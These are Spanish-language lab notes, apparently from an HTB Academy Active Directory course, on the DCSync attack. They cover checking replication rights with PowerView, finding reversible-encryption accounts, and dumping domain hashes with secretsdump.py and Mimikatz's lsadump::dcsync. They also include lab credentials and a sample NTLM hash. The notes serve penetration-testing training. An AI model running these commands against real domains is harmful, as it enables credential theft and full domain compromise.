DCSync — Compromiso Total del Dominio

¿Qué es DCSync?

DCSync es una técnica que permite a un atacante imitar a un Domain Controller y solicitar la replicación de contraseñas usando el protocolo DS-Replication.
Resultado: obtener NTLM hashes, Kerberos keys e incluso contraseñas reversibles de cualquier usuario del dominio.

Para ejecutar DCSync, el usuario comprometido debe poseer:

  • DS-Replication-Get-Changes

  • DS-Replication-Get-Changes-All

  • (Opcional pero común) DS-Replication-Get-Changes-In-Filtered-Set

Pasted image 20251119094803.png


🖥️ Escenario

Setup del laboratorio

  • Controlamos al usuario adunn, que posee privilegios de replicación (DCSync).

  • Realizaremos ejemplos desde Windows y Linux.

  • Windows (RDP): htb-student : Academy_student_AD!

  • Linux vía SSH desde MS01: htb-student : HTB_@cademy_stdnt!


📘 ¿Cómo funciona realmente DCSync?

✔ Los Domain Controllers replican información entre sí usando el Directory Replication Service (DRS).
✔ DCSync consiste en fingir ser un DC y pedir los secretos del dominio.
✔ Si el usuario tiene los extended rights correctos → el DC obedecerá y enviará los hashes.

Importante

No necesitas privilegios de Domain Admin.
Solo necesitas los extended rights adecuados en la ACL del dominio.


🔍 Verificación de privilegios DCSync

👀 Confirmar grupos de adunn

Get-DomainUser -Identity adunn |
  select samaccountname,objectsid,memberof,useraccountcontrol | fl

{904A6F9F-01DD-491A-9B59-B4662EAEA6FA}.png

🔎 Comprobar ACLs para privilegios de replicación

$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs |
  ? { $_.ObjectAceType -match 'Replication-Get' } |
  ? { $_.SecurityIdentifier -match $sid } |
  select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Pasted image 20251119095111.png

Tip

Si encuentras estos ACEs → el usuario es válido para DCSync:

  • DS-Replication-Get-Changes

  • DS-Replication-Get-Changes-All


🔐 Contraseñas con cifrado reversible

Riesgo crítico

Las contraseñas NO se guardan en texto plano, pero el cifrado RC4 es reversible.
Cualquier atacante con DCSync puede obtener la contraseña real.

Enumeración por PowerShell

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

{5DCFC0AE-2052-41FC-9502-19F6E4D640CC}.png

PowerView

Get-DomainUser -Identity * |
  ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |
  select samaccountname,useraccountcontrol

Ejemplo encontrado:
{AD0FF889-C537-4080-AFD1-DD6BCEEDCDC0}.png


💥 Ejecución del ataque DCSync

Extraer NTLM hashes + Kerberos keys:

secretdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
Archivos generados

  • *.ntds → NTLM hashes

  • *.ntds.kerberos → Kerberos keys

  • *.ntds.cleartext → contraseñas reversibles si existen
    {BE374341-6F4F-4539-BAF5-72B7E8CD635E}.png

Por ejemplo, si queremos ver las contraseñas con cifrado reversible del usuario syncron

secretsdump.py -just-dc-user syncron INLANEFREIGHT/adunn@172.16.5.5

Pasted image 20251119101513.png


🟦 Método 2 — Windows con Mimikatz

Debes ejecutar Mimikatz en el contexto del usuario con privilegios DCSync

Usa runas /netonly:

runas /netonly /user:INLANEFREIGHT\adunn powershell

Ejecutar DCSync

Desde la consola de Mimikatz:

lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Ejemplo de salida

Hash NTLM: 88ad09182de639ccc6579eb0849751cf


📊 Flags útiles en secretsdump.py

Flag Descripción
-just-dc Dump completo NTLM + Kerberos
-just-dc-ntlm Solo hashes NTLM
-just-dc-user <usuario> Dump de un usuario específico
-pwd-last-set Fecha de último cambio de contraseña
-history Historial de contraseñas
-user-status Ver si la cuenta está deshabilitada

🧠 Casos frecuentes en evaluaciones reales

Hallazgos comunes

  • Cuentas estándar con privilegios DCSync asignados por error.

  • Service accounts con reversible encryption activado.

  • Helpdesk / operadores con privilegios heredados sin revisar.

Impacto final

Si haces DCSync exitoso → controlas todo el dominio.


🧭 Próximo paso

🔜 Abuso de acceso remoto (RDP / WinRM / SQL-Admin) para moverte lateralmente.